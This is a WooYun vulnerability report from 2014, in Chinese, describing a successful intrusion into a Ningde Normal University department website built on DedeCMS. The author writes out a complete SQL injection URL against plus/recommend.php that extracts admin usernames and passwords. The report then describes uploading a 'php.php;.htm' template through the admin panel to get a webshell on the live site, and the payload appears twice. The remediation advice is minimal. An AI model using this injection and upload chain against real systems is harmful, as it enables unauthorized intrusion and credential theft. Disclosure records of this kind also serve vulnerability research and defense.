漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-073524
漏洞标题：宁德师范学院拿shell
相关厂商：CCERT教育网应急响应组
漏洞作者： lock
提交时间：2014-08-25 14:45
修复时间：2014-08-30 14:46
公开时间：2014-08-30 14:46
漏洞类型：成功的入侵事件
危害等级：中
自评Rank：10
漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-08-25： 细节已通知厂商并且等待厂商处理中
2014-08-30： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
问题蛮多，及时更新升级
详细说明：
http://jyx.ndnu.edu.cn/index.html
无意在群里看到有人提这个学校，估计他是里面学生，简单看了一下主页，随意点到了教育系
一看图标明显织梦，找了以前之前收集的洞plus/recommend.php?aid=1&_FILES[type][name]&_FILES
[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\'and+char(@`'`)
+/*!50000Union*/+/*!50000SeLect*/+1,2,3,concat(0x3C6162633E,group_concat
(0x7C,userid,0x3a,pwd,0x7C),0x3C2F6162633E),5,6,7,8,9%20from%20`%
23@__admin`%23%22;
拿到管理账号密码进后台
后台上传模板 php.php;.htm
拿到shell
提醒管理员及时更新升级后台地址、弱口令这些都要改一改，。。。。
漏洞证明：
无意在群里看到有人提这个学校，估计他是里面学生，简单看了一下主页，随意点到了教育系
一看图标明显织梦，找了以前之前收集的洞plus/recommend.php?aid=1&_FILES[type][name]&_FILES
[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\'and+char(@`'`)
+/*!50000Union*/+/*!50000SeLect*/+1,2,3,concat(0x3C6162633E,group_concat
(0x7C,userid,0x3a,pwd,0x7C),0x3C2F6162633E),5,6,7,8,9%20from%20`%
23@__admin`%23%22;
拿到管理账号密码进后台
后台上传模板 php.php;.htm
拿到shell
提醒管理员及时更新升级后台地址、弱口令这些都要改一改，。。。。
修复方案：
提醒管理员及时更新升级后台地址、弱口令这些都要改一改，。。。。
版权声明：转载请注明来源 lock@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2014-08-30 14:46
厂商回复：
最新状态：
暂无